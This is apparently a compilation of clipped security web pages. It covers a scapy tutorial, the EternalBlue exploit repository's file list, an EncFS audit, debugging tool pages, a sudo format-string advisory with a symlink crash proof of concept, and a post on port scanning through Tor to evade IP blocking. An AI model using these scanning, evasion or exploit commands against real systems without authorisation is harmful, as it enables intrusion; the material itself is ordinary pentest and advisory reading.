that at the vulnerability point the ESP register points to a buffer containing
data from the start of the user input, and thus has filled in the start of the
input with the shellcode. It has also found the correct bytes that overwrite
the EIP and replaced them with the address of a `jmp %esp` \(0×08048439\)

  

Posted in Binary Instrumentation, Exploit generation, SMT solving | Tagged Exploit generation, SMT solving | 2 Comments

# Introduction to scapy - Packet Life

**Created:**| _5/23/2011 2:44:38 PM_  
---|---  
**Updated:**| _5/23/2011 2:44:38 PM_  
**Author:**| __  
**Tags:**| _python scripting network-security_  
  

  * Download as PDF

# Introduction to scapy

By stretch | Monday, May 23, 2011 at 2:15 a.m. UTC
scapy is a Python framework for crafting and transmitting arbitrary packets.
I've used scapy in labs for my articles a few times before, but today we'll be
looking at scapy itself and why it's an invaluable component of every
networker's virtual toolbox.

To run scapy, you'll need to have Python installed. The latest version of
scapy is available for download here. The most recent version of scapy at the
time of writing is 2.1.0, and that's what the examples provided in this
article use. scapy is installed per the typical Python package installation
mechanism on Linux:

[code]

    $ **sudo ./setup.py install**
[/code]

scapy is typically used as an interactive Python interpreter, but its
libraries can also be imported for use in your own code. The examples here use
scapy's shell, which is essentially a pre-configured Python environment. For a
quick introduction to Python you can check out the official tutorial, but
building packets with scapy requires only minimal Python knowledge.

Launch the scapy executable to get started. Note that you'll need to invoke
scapy with root or administrative rights in order to send or sniff packets.

[code]

    $ **sudo scapy**
    INFO: Can't import python gnuplot wrapper . Won't be able to plot.
    INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().
    Welcome to Scapy (2.1.0)
    >>> 
    
[/code]

You may see some warnings like the two above regarding absent optional
dependencies or missing routes; don't worry about them.

The two most important commands to remember for scapy are `ls()` and `lsc()`.
These commands are actually Python functions, which is why they must be called
with the ending parentheses. `ls()` displays all of the available protocols
and `lsc()` lists all of the scapy command functions.

[code]

    >>> **ls()**
    ARP        : ARP
    ASN1_Packet : None
    BOOTP      : BOOTP
    CookedLinux : cooked linux
    DHCP       : DHCP options
    DHCP6      : DHCPv6 Generic Message)
    ...
    >>> **lsc()**
    arpcachepoison      : Poison target's cache with (your MAC,victim's IP) couple
    arping              : Send ARP who-has requests to determine which hosts are up
    bind_layers         : Bind 2 layers on some specific fields' values
    corrupt_bits        : Flip a given percentage or number of bits from a string
    ...
    
[/code]

scapy's primary purpose is to build and transmit arbitrary packets, so let's
get started\!

Packets are constructed as layers of protocols, loosely analogous to the OSI
model, which can be manipulated independently or glued together. For example,
the **IP\(\)** object represents an IPv4 header. Use the **show\(\)** method
of an object to display all of its fields.

[code]

    >>> **IP().show()**
    ###[ IP ]###
      version= 4
      ihl= None
      tos= 0x0
      len= None
      id= 1
      flags= 
      frag= 0
      ttl= 64
      proto= ip
      chksum= None
      src= 127.0.0.1
      dst= 127.0.0.1
      \options\
    
[/code]

This should look familiar. We can see that all of the fields have default
values set. We can modify these fields by passing them as arguments when the
IP\(\) object is created, or after saving it as a variable.

[code]

    >>> **ip=IP(src= "192.168.0.1")**
    >>> **ip.dst= "192.168.0.2"**
    >>> **ip**
    <IP  src=192.168.0.1 dst=192.168.0.2 |>
    
[/code]

Of course, an IP packet by itself isn't very useful. We can add a layer four
protocol like TCP or UDP by using the division operator to attach it to our IP
packet.

[code]

    >>> **ip/TCP()**
    <IP  frag=0 proto=tcp src=192.168.0.1 dst=192.168.0.2 |<TCP  |>>
    
[/code]

Notice that when we did this, the protocol \("proto"\) field in the IPv4
header was automatically set to TCP. scapy conveniently takes care of such
housekeeping so that we can focus on the fun stuff \(these automatic
configurations can always be overridden manually if need be\).

We can manipulate the TCP header fields just as we did with our IP header.

[code]

    >>> **tcp=TCP(sport=1025, dport=80)**
    >>> **(tcp/ip).show()**
    ###[ TCP ]###
      sport= 1025
      dport= www
      seq= 0
      ack= 0
      dataofs= None
      reserved= 0
      flags= S
      window= 8192
      chksum= None
      urgptr= 0
      options= {}
    ###[ IP ]###
         version= 4
         ihl= None
         tos= 0x0
         len= None
         id= 1
         flags= 
         frag= 0
         ttl= 64
         proto= ip
         chksum= None
         src= 192.168.0.1
         dst= 192.168.0.2
         \options\
    
[/code]

Remember to enclose combined headers in a pair of parentheses when using
methods like show\(\) on the entire packet.

scapy also supports Ethernet and IEEE 802.11 at layer two:

[code]

    >>> **Ether()/Dot1Q()/IP()**
    <Ether  type=0x8100 |<Dot1Q  type=0x800 |<IP  |>>>
    >>> **Dot11()/IP()**
    <Dot11  |<IP  |>>
    
[/code]

Try combining different protocols to form a variety of packets. To send
packets onto the wire, use the `send()` function if transmitting at layer
three \(i.e. without a layer two header\) or the `sendp()` function if
transmitting at layer two.

[code]

    >>> **send(ip/tcp)**
    .
    Sent 1 packets.
    >>> **sendp(Ether()/ip/tcp)**
    .
    Sent 1 packets.
    
[/code]

Values for blank fields, such as the source and destination addresses in the
Ethernet header, are populated automatically by scapy where possible.

scapy also has the ability to listen for responses to packets it sends, such
as ICMP echo requests \(pings\). We can build an IP packet carrying an ICMP
header, which has a default type of echo request, and use the `sr()`
\(send/receive\) function to transmit the packet and record any response.

[code]

    >>> **sr(IP(dst= "packetlife.net")/ICMP())**
    Begin emission:
    Finished to send 1 packets.
    *
    Received 1 packets, got 1 answers, remaining 0 packets
    (<Results: TCP:0 UDP:0 ICMP:1 Other:0>, <Unanswered: TCP:0 UDP:0 ICMP:0 Other:0>)
    
[/code]

What if we want to send and listen for responses to multiple copies of the
same packet? We can use the `srloop()` function and specify a `count` of
packets to send.

[code]

    >>> **srloop(IP(dst= "packetlife.net")/ICMP(), count=3)**
    RECV 1: IP / ICMP 174.143.213.184 > 192.168.1.140 echo-reply 0 / Padding
    RECV 1: IP / ICMP 174.143.213.184 > 192.168.1.140 echo-reply 0 / Padding
    RECV 1: IP / ICMP 174.143.213.184 > 192.168.1.140 echo-reply 0 / Padding
    
    Sent 3 packets, received 3 packets. 100.0% hits.
    (<Results: TCP:0 UDP:0 ICMP:3 Other:0>, <PacketList: TCP:0 UDP:0 ICMP:0 Other:0>)
    
[/code]

There's plenty more to scapy that we haven't touched on yet, but hopefully
this article will encourage you to play with it a bit on your own and see what
kind of crazy packets you can come up with\!

# worawit/MS17-010

**Created:**| _6/29/2017 4:11:21 PM_  
---|---  
**Updated:**| _6/29/2017 4:11:21 PM_  
**Author:**| __  
**Tags:**| _Malware-analysis leaks_  
  

  

# MS17-010

This repository is for public my work on MS17-010. I have no plan to do any
support. **All support issues will not get response from me**.

## Files

  * **BUG.txt** MS17-010 bug detail and some analysis
  * **eternalblue\_exploit7.py** Eternalblue exploit for windows 7/2008
  * **eternalblue\_exploit8.py** Eternalblue exploit for windows 8/2012 x64
  * **eternalblue\_poc.py** Eternalblue PoC for buffer overflow bug
  * **eternalblue\_kshellcode\_x64.asm** x64 kernel shellcode for my Eternalblue exploit. This shellcode should work on Windows Vista \(maybe XP\) and later
  * **eternalblue\_kshellcode\_x86.asm** x86 kernel shellcode for my Eternalblue exploit. This shellcode should work on Windows Vista \(maybe XP\) and later
  * **eternalblue\_sc\_merge.py** Script for merging eternalblue x86 and x64 shellcode. Eternalblue exploit, that support both x86 and x64, with merged shellcode has no need to detect a target architecture
  * **eternalchampion\_leak.py** Eternalchampion PoC for leaking info part
  * **eternalchampion\_poc.py** Eternalchampion PoC for controlling RIP
  * **eternalchampion\_poc2.py** Eternalchampion PoC for getting code execution
  * **eternalromance\_leak.py** Eternalromance PoC for leaking info part
  * **eternalromance\_poc.py** Eternalromance PoC for OOB write
  * **eternalromance\_poc2.py** Eternalromance PoC for controlling a transaction which leading to arbitrary read/write
  * **eternalsynergy\_leak.py** Eternalsynergy PoC for leaking info part
  * **eternalsynergy\_poc.py** Eternalsynergy PoC for demonstrating heap spraying with large paged pool
  * **infoleak\_uninit.py** PoC for leaking info from uninitialized transaction data buffer
  * **mysmb.py** Extended Impacket SMB class for easier to exploit MS17-010 bugs
  * **npp\_control.py** PoC for controlling nonpaged pool allocation with session setup command
  * **zzz\_exploit.py** Exploit for Windows7 and later \(x64 only and requires access to named pipe\)

## Anonymous user

Anonymous user \(null session\) get more restriction on default settings of
new Windows version. To exploit Windows SMB without authentication, below
behavior should be aware.

  * Since Windows Vista \(maybe Windows 2003 SPx\), default settings does not allow anonymous to access any named pipe
  * Since Windows 8, default settings does not allow anonymous to access IPC$ share \(IPC$ might be acessible but cannot do much\)

## About NSA exploits

  * **Eternalblue** requires only access to IPC$ to exploit a target while other exploits require access to named pipe too. So the exploit always works against Windows < 8 in all configuration \(if tcp port 445 is accessible\). However, Eternalblue has a chance to crash a target higher than other exploits.
  * **Eternalchampion** requires access to named pipe. The exploit has no chance to crash a target.
  * **Eternalromance** requires access to named pipe. The exploit can target Windows < 8 because the bug for info leak is fixed in Windows 8. The exploit should have a chance to crash a target lower than Eternalblue. I never test a reliable of the exploit.
  * **Eternalsynergy** requires access to named pipe. I believe this exploit is modified from Eternalromance to target Windows 8 and later. Eternalsynergy uses another bug for info leak and does some trick to find executable memory \(I do not know how it works because I read only output log and pcap file\).

  

# Win-PortFwd - Powershell Script To Setup Windows Port Forwarding Using
Native Netsh Client

**Created:**| _9/23/2018 8:58:40 AM_  
---|---  
**Updated:**| _9/23/2018 9:05:25 AM_  
**Author:**| _wishi_  
**Tags:**| _windows network-security port_  
  

  

# Win-PortFwd - Powershell Script To Setup Windows Port Forwarding Using
Native Netsh Client

<img src='img/Win-PortFwd_1_win-portfwd.png' width='499' />  

Powershell script to setup windows port forwarding using native netsh client.

  

Install:

git clone https://github.com/deepzec/Win-PortFwd.git

Usage:

.\win-portfwd.ps1

or

powershell.exe -noprofile -executionpolicy bypass -file .\win-portfwd.ps1

Note: This script require admin privileges to run, this script will
automatically try to elevate the privilges if you are running this script
under normal user privileges.

Download Win-PortFwd

  

  

# EncFS Security Audit

**Created:**| _5/14/2014 9:25:04 AM_  
---|---  
**Updated:**| _5/14/2014 9:25:04 AM_  
**Author:**| __  
**Tags:**| _xss parser code-gen_  
  

# EncFS Security Audit

This report is the result of a paid 10-hour security audit of EncFS. It has
been posted to the EncFS mailing list, so check there for follow-up. I feel
that full disclosure is the best approach for disclosing these
vulnerabilities, since some of the issues have already been disclosed but
haven't been fixed, and by disclosing them, users can immediately re-evaluate
their use of EncFS.

Thanks to Igor Sviridov for funding this audit.

**Note:** This report was updated on February 5, 2014, thanks to feedback from
Robert Freudenreich \(founder and CTO of boxcryptor\), to correct a technical
inaccuracy about how initialization vectors are generated and to clarify the
conclusion of the report. You can see the old version of the report here.

[code]

    ------------------------------------------------------------------------
                              EncFS Security Audit
                                 Taylor Hornby
                                January 14, 2014
                          (Updated: February 5, 2014)
    ------------------------------------------------------------------------
    
    1. Introduction
    
      This document describes the results of a 10-hour security audit of
      EncFS 1.7.4. The audit was performed on January 13th and 14th of 2014.
    
    1.1. What is EncFS?
    
      EncFS is a user-space encrypted file system. Unlike disk encryption
      software like TrueCrypt, EncFS's ciphertext directory structure
      mirrors the plaintext's directory structure. This introduces unique
      challenges, such as guaranteeing unique IVs for file name and content
      encryption, while maintaining performance.
    
    1.2. Audit Results Summary
    
      This audit finds that EncFS is not up to speed with modern
      cryptography practices. Several previously known vulnerabilities have
      been reported [1, 2], which have not been completely fixed. New issues
      were also discovered during the audit.
    
      The next section presents a list of the issues that were discovered.
      Each issue is given a severity rating from 1 to 10. Due to lack of
      time, most issues have not been confirmed with a proof-of-concept.
    
    2. Issues
    
    2.1. Same Key Used for Encryption and Authentication
    
      Exploitability: Low
      Security Impact: Low
    
      EncFS uses the same key for encrypting data and computing MACs. This
      is generally considered to be bad practice.
    
      EncFS should use separate keys for encrypting data and computing MACs.
    
    2.2. Stream Cipher Used to Encrypt Last File Block
    
      Exploitability: Unknown
      Security Impact: High
    
      As reported in [1], EncFS uses a stream cipher mode to encrypt the
      last file block. The change log says that the ability to add random
      bytes to a block was added as a workaround for this issue. However, it
      does not solve the problem, and is not enabled by default.
    
      EncFS needs to use a block mode to encrypt the last block.
    
      EncFS's stream encryption is unorthodox:
    
        1. Run "Shuffle Bytes" on the plaintext.
            N[J+1] = Xor-Sum(i = 0 TO J) { P[i] }
            (N = "shuffled" plaintext value, P = plaintext)
        2. Encrypt with (setIVec(IV), key) using CFB mode.
        3. Run "Flip Bytes" on the ciphertext.
            This reverses bytes in 64-byte chunks.
        4. Run "Shuffle Bytes" on the ciphertext.
        5. Encrypt with (setIVec(IV + 1), key) using CFB mode.
    
        Where setIVec(IV) = HMAC(globalIV || (IV), key), and,
            - 'globalIV' is an IV shared across the entire filesystem.
            - 'key' is the encryption key.
    
      This should be removed and replaced with something more standard. As
      far as I can see, this provides no useful security benefit, however,
      it is relied upon to prevent the attacks in [1]. This is security by
      obscurity.
    
    2.3. Generating Block IV by XORing Block Number
    
      Exploitability: Low
      Security Impact: Medium
    
      Given the File IV (an IV unique to a file), EncFS generates per-block
      IVs by XORing the File IV with the Block Number, then passing the
      result to setIVec(), which is described in Section 2.2. This is not
      a good solution, as it leads to IV re-use when combined with the
      last-block stream cipher issue in Section 2.2:
    
      The stream algorithm (see previous section) adds 1 to the IV, which
      could *undo* the XOR with the block number, causing the IV to be
      re-used. Suppose the file consists of one and a half blocks, and that
      the File IV's least significant bit (LSB) is 1. The first block will
      be encrypted with the File IV (block number = 0). The second (partial)
      block will be encrypted with File IV XOR 1 (since block number = 1),
      making the LSB 0, using the stream algorithm.  The stream algorithm
      adds 1 to the IV, bringing the LSB back to 1, and hence the same IV is
      used twice. The IVs are reused with different encryption modes (CBC
      and CFB), but CFB mode starts out similar to CBC mode, so this is
      worrisome.
    
      EncFS should use a mode like XTS for random-access block encryption.
    
      Correction 12/05/2014: XTS mode is probably not the ideal option, see
      Thomas Ptacek's blog post for good reasons why:
    
          http://sockpuppet.org/blog/2014/04/30/you-dont-want-xts/
    
    2.4. File Holes are Not Authenticated
    
      Exploitability: High
      Security Impact: Low
    
      File holes allow large files to contain "holes" of all zero bytes,
      which are not saved to disk. EncFS supports these, but it determines
      if a file block is part of a file hole by checking if it is all
      zeroes. If an entire block is zeroes, it passes the zeroes on without
      decrypting it or verifying a MAC.
    
      This allows an attacker to insert zero blocks inside a file (or append
      zero blocks to the end of the file), without being detected when MAC
      headers are enabled.
    
    2.5. MACs Not Compared in Constant Time
    
      Exploitability: Medium
      Security Impact: Medium
    
      MACs are not compared in constant time (MACFileIO.cpp, Line 209). This
      allows an attacker with write access to the ciphertext to use a timing
      attack to compute the MAC of arbitrary values.
    
      A constant-time string comparison should be used.
    
    2.6. 64-bit MACs
    
      Exploitability: Low
      Security Impact: Medium
    
      EncFS uses 64-bit MACs. This is not long enough, as they can be forged
      in 2^64 time, which is feasible today.
    
      EncFS should use (at least) 128-bit MACs.
    
    2.7. Editing Configuration File Disables MACs
    
      Exploitability: High
      Security Impact: Medium
    
      The purpose of MAC headers is to prevent an attacker with read/write
      access to the ciphertext from being able to make changes without being
      detected.  Unfortunately, this feature provides little security, since
      it is controlled by an option in the .encfs6.xml configuration file
      (part of the ciphertext), so the attacker can just disable it by
      setting "blockMACBytes" to 0 and adding 8 to "blockMACRandBytes" (so
      that the MAC is not interpreted as data).
    
      EncFS needs to re-evaluate the purpose of MAC headers and come up with
      something more robust. As a workaround, EncFS could add a command line
      option --require-macs that will trigger an error if the configuration
      file does not have MAC headers enabled.
    
    3. Future Work
    
      There were a few potential problems that I didn't have time to
      evaluate. This section lists the most important ones. These will be
      prioritized in future audits.
    
    3.1. Information Leakage Between Decryption and MAC Check
    
      EncFS uses Mac-then-Encrypt. Therefore it is possible for any
      processing done on the decrypted plaintext before the MAC is checked
      to leak information about it, in a style similar to a padding oracle
      vulnerability. EncFS doesn't use padding, but the MAC code does
      iteratively check if the entire block is zero, so the number of
      leading zero bytes in the plaintext is leaked by the execution time.
    
    3.2. Chosen Ciphertext Attacks
    
      Since the same key is used to encrypt all files, it may be possible
      for an attacker with read/write access to the ciphertext and partial
      read access to the plaintext (e.g. to one directory when --public is
      used) to perform a chosen ciphertext attack and decrypt ciphertexts
      for which they have no plaintext access.
    
      EncFS should consider using XTS mode.
    
      Correction 12/05/2014: XTS mode is probably not the ideal option, see
      Thomas Ptacek's blog post for good reasons why:
    
          http://sockpuppet.org/blog/2014/04/30/you-dont-want-xts/
    
    3.3. Possible Out of Bounds Write in StreamNameIO and BlockNameIO
    
      There is a possible buffer overflow in the encodeName method of
      StreamNameIO and BlockNameIO. The methods write to the 'encodedName'
      argument without checking its length. This may allow an attacker with
      control over file names to crash EncFS or execute arbitrary code.
    
    3.4. 64-bit Initialization Vectors
    
      Initialization vectors are only 64 bits, even when using AES instead
      of Blowfish. This may lead to vulnerabilities when encrypting large
      (or lots of) files.
    
    4. Conclusion
    
      In conclusion, while EncFS is a useful tool, it ignores many standard
      best-practices in cryptography. This is most likely due to it's old
      age (originally developed before 2005), however, it is still being
      used today, and needs to be updated.
    
      The EncFS author says that a 2.0 version is being developed [3]. This
      would be a good time to fix the old problems.
    
      EncFS is probably safe as long as the adversary only gets one copy of
      the ciphertext and nothing more. EncFS is not safe if the adversary
      has the opportunity to see two or more snapshots of the ciphertext at
      different times. EncFS attempts to protect files from malicious
      modification, but there are serious problems with this feature.
    
    5. References
    
    [1] http://archives.neohapsis.com/archives/fulldisclosure/2010-08/0316.html
    
    [2] http://code.google.com/p/encfs/issues/detail?id=128
    
    [3] https://code.google.com/p/encfs/issues/detail?id=186
    
[/code]

# Tenable Network Security: 3D Tool beta Video

**Created:**| _12/27/2010 8:40:40 AM_  
---|---  
**Updated:**| _12/27/2010 8:40:47 AM_  
**Author:**| __  
**Tags:**| _security tools visualization_  
  

### 3D Tool beta Video

The following video is a demonstration of Tenable's latest 3D Tool Beta,
visualizing network topology and security events:

The 3D Tool reads data from SecurityCenter and allows you to present it in an
interactive visual console. For more information see Ron Gula's post to the
Nessus Discussion Portal titled "3D Tool Creation and Walk-Through" \(Login
required\). The 3D Tool beta works with SecurityCenter 4 and can be used to
visualize Nessus information and topologies, passively discovered
vulnerabilities and communications with the Passive Vulnerability Scanner and
any series of connections or events from intrusion detection, firewall,
netflow and other sources normalized by the Log Correlation Engine.

# Tools – WinAppDbg

**Created:**| _3/27/2010 10:52:18 PM_  
---|---  
**Updated:**| _3/27/2010 10:52:35 PM_  
**Author:**| __  
**Tags:**| _bookmark Debugging security tools reversing_  
  

**Welcome, Guest\!** Log In | Create Account
  * Visit project winappdbg

# WinAppDbg

Search:

  * Preferences
  * Help/Guide
  * About Trac

  * Wiki
  * Timeline
  * Roadmap
  * Browse Source
  * View Tickets
  * Search

## Context Navigation

  * Start Page
  * Index
  * History
  * Last Change

* * *
  1. Crash logger
  2. Process tools
  3. Miscellaneous

# Tools

<\- Back to Home

The following tools are shipped with the _WinAppDbg_ package:

## Crash logger

<img src='img/Temp2_8413.png' alt='Crash logger screenshot' />

  * _crash\_logger.py_ :

> > Attaches as a debugger or starts a new process for debugging. Whenever an
> interesting debug event occurs \(i.e. a bug is found\) it can save the info
> to a database and/or log it through standard output.
> > Some simple heuristics can be used to try to determine whether two crashes
> were caused by the same bug, in order to discard duplicates. It can also try
> to guess how exploitable would the found crashes be, using similar
> heuristics to those of \!exploitable.
> > Additional features allow setting breakpoints at the target process\(es\),
> attaching to spawned child processes, restarting crashed processes, and
> running a custom command when a crash is found.
  * _crash\_logger\_report.py_ :

> > Shows the contents of the crashes database to standard output.
## Process tools

> These tools were inspired by the **ptools** suite by Nicolás Economou.
  * _pinject.py_ :

> > Forces a process to load a DLL library of your choice.
  * _plist.py_ :

> > Shows a list of all currently running processes.
  * _pmap.py_ :

> > Shows a map of a process memory space.
  * _pfind.py_ :

> > Finds the given text, binary data, binary pattern or regular expression in
> a process memory space.
  * _pread.py_ :

> > Reads the memory contents of a process to standard output or any file of
> your choice.
  * _pwrite.py_ :

> > Writes to the memory of a process from the command line or any file of
> your choice.
  * _pkill.py_ :

> > Terminates a process or a batch of processes.
  * _ptrace.py_ :

> > Traces execution of a process. It supports three methods: single stepping,
> single stepping on branches, and native syscall hooking.
  * _pdebug.py_ :

> > Extremely simple command line debugger. It's main feature is being written
> entirely in Python, so it's easy to modify or write plugins for it.
## Miscellaneous

  * _SelectMyParent.py_ :

> > Allows you to create a new process specifying any other process as it's
> parent, and inherit it's handles. See the blog post by Didier Stevens for
> the original C version.
  * _hexdump.py_ :

> > Shows an hexadecimal dump of the contents of a file.
### Attachments

  * crash\_logger.png \(173.3 KB\) - added by _qvasimodo_ 11 months ago. "Crash logger screenshot"
  * crash\_logger\_2.png \(30.2 KB\) - added by _qvasimodo_ 11 months ago. "Crash logger screenshot"

### Download in other formats:

  * Plain Text

* * *
<img src='img/Temp2_8412.png' width='107' height='30' alt='Trac Powered' />

Powered by **Trac 0.11.2.1**  
By Edgewall Software.

  

Copyright © 2010 Geeknet, Inc. All rights reserved. Terms of Use

# PaulDotCom: Archives

**Created:**| _8/24/2009 12:10:55 PM_  
---|---  
**Updated:**| _8/24/2009 12:11:13 PM_  
**Author:**| __  
**Tags:**| _security tools anonym pentest privacy_  
  

# Port Scanning Through The Tor Network

ByJohn Strandon August 24, 2009 7:12 AM | Permalink
One of the issues that comes up on regular basis when I talk with a group of
penetration testers is how to approach scanning. Some would argue that a
penetration test should not include scanning of the target network. The reason
given is external attackers would seldom perform these activities as it would
give away their position and the target environment may shun the attacking IP
address.

On the other hand, there is a group of testers who would argue that we are
hired to evaluate risk. As part of this task we need to take a wider view of
our customers networks and include scanning with tools such as Nessus andNmap.

I would like to propose that a good attacker uses everything in their means to
achieve their goals. In some situations they would focus on the social
engineering aspect and in others they would use more traditional scanning
techniques.

**A good tester should be versed in both.**

Valsmith and his crew gave an excellent presentation on client side attacks at
Defcon 17 this year. There was a great section in their presentation on using
Tor networks for scanning. I wanted to elaborate on scanning with Tor and find
ways to do it faster and better as a professional tester. The reason is many
environments utilize dynamic shunning to block attack IP addresses. Now for a
picture of a bunny with a pancake on his head to demonstrate just how
effective this defense is:

<img src='img/Temp2_6162.jpg' width='399' height='302' alt='bunny_pancake.jpg'
/>

**Because pancakes are not defensive.**

What if we had a number of "disposable" IP addresses we could use when we get
shunned? Turns out we do. In order to follow the instructions on how to set
this up, you will need to have the following software installed:

  * Tor
  *   

  * Privoxy
  *   

  * proxychains
  *   

  * tortunnel
  *   

  * nmap
  * When you have all of the above software installed we are ready to start scanning through a Tor network. The video below uses Ubuntu Jaunty and demonstrates how to configure the tools listed above to scan through Tor: 
Tor and nmap with tortunnel from PaulDotCom on Vimeo.

Lets review the commands and configuration associated with running a portscan
through the Tor network:

[code]    **# proxychains nmap 209.20.73.195**

[/code]

At first glance it looks like this is a fast and efficient way to run a scan.
Unfortunately, it does not work. For the default SYN Scan you are not scanning
through your Tor nodes.

Rather, try this:

[code]    **# proxychains nmap -sT 209.20.73.195**

[/code]

Now you are scanning through the TorTor network. Painful, huh? The issue is
all of your packets are going through three Tor nodes. Further, these nodes
may not be the fastest nodes on the planet. This reduces a full nmap scan to
something that will take hours, if not days for a larger network.

But there is the little issue that you are not completely anonymous in your
scanning. I have seen a few sites that reference the exact same scan I just
ran above and say it is "safe". Not true\! Nmap by default "pings" the remote
host. As part of its detection of which host are alive and which are not it
sends ICMP packets to the target system\(s\). Lets fix this:

[code]    **# iptables -A OUTPUT --dest [TargetIP or range] -j DROP**

[/code]

The above iptables rule will cause packets sent to the target environment that
are not going through the Tor network to be dropped.

Lets address the issue of speed with torrtunnel by Moxie. Moxie is quickly
becoming my favorite security researcher. Moxie wrote this program so your Tor
activity goes directly to an exit node. This bypasses two of the three hops,
greatly improving the overall speed of your scans. It is still not great, but
it is bearable.

Ti get tortunnel up and running you will need to edit your proxychains.conf
file to use socks5. Also note that tortunnel listens on TCP port 5060. Below
is the config line I have in my /etc/proxychains.conf file.

[code]    socks5  127.0.0.1 5060

    
[/code]

We have to look up some fast, stable exit nodes to scan through. A complete
list can be found at this URL. Next, we can start tortunnel:

[code]    **# ./torproxy [ExitNodeIP]**

[/code]

The above command will set up the torproxy connection. Next, re-run your Nmap
scan as follows:

[code]    **# proxychains nmap -sT -p 80,443,21,23 209.20.73.195**

[/code]

It should now be faster. If it is still slow, try a different exit node. We
can also surf to our target IP addresses through this node. But first we need
to set up Privoxy to work through tortunnel. I edited my /etc/privoxy/config
file to reflect the port and socks5 changes required to make the scan work.
The like should look like this when you are done:

[code]    forward-socks5   /               127.0.0.1:5060 .

    
[/code]

Now you can start firefox, enable Tor and you can do your manual checks.

There are a couple of areas during a test where this works well. First, port
scanning. Pick your ports wisely and scan. I see very little risk to the
customer doing this. The second area where this rocks, is manual web checks
over ssl. Just please verify that your session is ssl before you start
launching attacks.

Some would argue that scanning through a Tor network has more then a few
problems. First, it is not completely anonymous. Someone can sniff your
traffic on the exit nodes \(Moxie's excellent tool sslstrip will allow you to
do that\). This may have implications in regards to your contract scope and
rules of engagement. Just spend a few seconds thinking of a SQL injection
attack where some third party gets the data too.

In closing, I just want to say that shunning should not stop your testing.
Further, shunning is not a 100% effective attack deterrent. Most IPS systems
do not shun right away. It takes a certain threshold of scanning activity to
get them to block you. But, they will block you. If they do, simply move on
down the line to another node.

Remember, pancakes on ones head are not an effective deterrent.

-strandjs \(Fr. John\) 

  *[August 24, 2009 7:12 AM ]: 2009-08-24T07:12:57-05:00

# esd madplay mplayer « Supertime的简约生活

**Created:**| _1/7/2011 6:18:21 PM_  
---|---  
**Updated:**| _1/7/2011 6:18:42 PM_  
**Author:**| __  
**Tags:**| _bookmark Lab-Setup_  
  

## esd madplay mplayer

**Play with esd:**

recieve: esd -tcp -public &

send: mplayer -ao esd:ip\_addr \*.mp3 || madplay -a esd:ip\_addr \*.mp3

**Record audio by mplayer:**

mplayer -ao pcm:file=tmp.wav your\_audio\_or\_movie

lame -h your\_wave\_file for high quality

**Play with madplay:**

alias madplay=’madplay -v –tty-control’

——————————————————

madplay: http://sourceforge.net/projects/mad/

mplayer: http://www.mplayerhq.hu/design7/news.html

lame: http://lame.sourceforge.net

  

# Sudo format string vulnerability

**Created:**| _1/31/2012 7:38:42 PM_  
---|---  
**Updated:**| _1/31/2012 7:38:53 PM_  
**Author:**| __  
**Tags:**| _LOLZ format-string_  
  

# Sudo format string vulnerability

### Summary:

A flaw exists in the debugging code in sudo versions 1.8.0 through 1.8.3p1
that can be used to crash sudo or potentially allow an unauthorized user to
elevate privileges.

### Sudo versions affected:

1.8.0 through 1.8.3p1 inclusive. Older versions of sudo are not affected.

### CVE ID:

This vulnerability has been assigned CVE 2012-0809 in the Common
Vulnerabilities and Exposures database.

### Details:

Sudo 1.8.0 introduced simple debugging support that was primarily intended for
use when developing policy or I/O logging plugins. The sudo\_debug\(\)
function contains a flaw where the program name is used as part of the format
string passed to the fprintf\(\) function. The program name can be controlled
by the caller, either via a symbolic link or, on some systems, by setting
argv\[0\] when executing sudo. For example:

[code]

        $ ln -s /usr/bin/sudo ./%s
        $ ./%s -D9
        Segmentation fault
    
[/code]

Using standard format string vulnerability exploitation techniques it is
possible to leverage this bug to achieve root privileges.

### Impact:

Successful exploitation of the bug will allow a user to run arbitrary commands
as root.

Exploitation of the bug does **not** require that the attacker be listed in
the sudoers file. As such, we strongly suggest that affected sites upgrade
from affected sudo versions as soon as possible.

### Workaround:

On systems that support `FORTIFY_SOURCE` \(most Linux and NetBSD\), adding
`-D_FORTIFY_SOURCE=2` to the `OSDEFS` line in `src/Makfile` and then
rebuilding sudo will make the bug more difficult to exploit. When ASLR
\(address space layout randomization\) and a non-executable stack are combined
with `FORTIFY_SOURCE`, the bug should be very difficult to exploit.

### Fix:

The bug is fixed in sudo 1.8.3p2. Sudo version 1.8.3p1 may be updated to
version 1.8.3p2 via the file sudo-1.8.3p2.patch.gz. For sudo versions
1.8.0-1.8.3, the patch to sudo.c in sudo-1.8.3p2.patch.gz will also apply.

### Credit:

Thanks to joernchen of Phenoelit for finding and reporting the bug.

# Dark corners of Unicode / fuzzy notepad

**Created:**| _9/14/2015 3:24:32 PM_  
---|---  
**Updated:**| _9/14/2015 3:24:32 PM_  
**Author:**| __  
**Tags:**| __  
  
  

Sat 12 September 2015

#  Dark corners of Unicode

I’m assuming, if you are on the Internet and reading kind of a nerdy blog,
that you know what Unicode is. At the very least, you have a very general
understanding of it — maybe “it’s what gives us emoji”.

That’s about as far as _most_ people’s understanding extends, in my
experience, even among programmers. And that’s a tragedy, because Unicode has
a lot of… ah, _depth_ to it. Not to say that Unicode is a terrible disaster —
more that human language is a terrible disaster, and anything with the lofty
goals of representing _all of it_ is going to have some wrinkles.

So here is a collection of curiosities I’ve encountered in dealing with
Unicode that you generally only find out about through experience. Enjoy.

Also, I **strongly** recommend you install the Symbola font, which contains
basic glyphs for a vast number of characters. They may not be pretty, but
they’re better than seeing the infamous Unicode lego.

## Some definitions

There are already plenty of introductions to Unicode floating around
\(wikipedia, nedbat, joel\), and this is not going to be one. But here’s a
quick refresher.

_Unicode_ is a big table that assigns numbers \(_codepoints_\) to a wide
variety of characters you might want to use to write text. We often say
“Unicode” when we mean “not ASCII”, but that’s silly since of course all of
ASCII is also included in Unicode.

_UTF -8_ is an encoding, a way of turning a sequence of codepoints into bytes.
All Unicode codepoints can be encoded in UTF-8. ASCII is also an encoding, but
only supports 128 characters, mostly English letters and punctuation.

A _character_ is a fairly fuzzy concept. Letters and numbers and punctuation
are characters. But so are Braille and frogs and halves of flags. Basically a
thing in the Unicode table somewhere.

A _glyph_ is a visual representation of some symbol, provided by a font. It
might represent a single character, or it might represent several. Or both\!

Unicode is divided into seventeen _planes_ , numbered zero through sixteen.
Plane 0 is also called the Basic Multilingual Plane, or just _BMP_ , so called
because it contains the alphabets of most modern languages. The other planes
are much less common and are sometimes informally referred to as the _astral
planes_.

## Everything you know about text is wrong

If the only written languge you’re familiar with is English, that goes doubly
so.

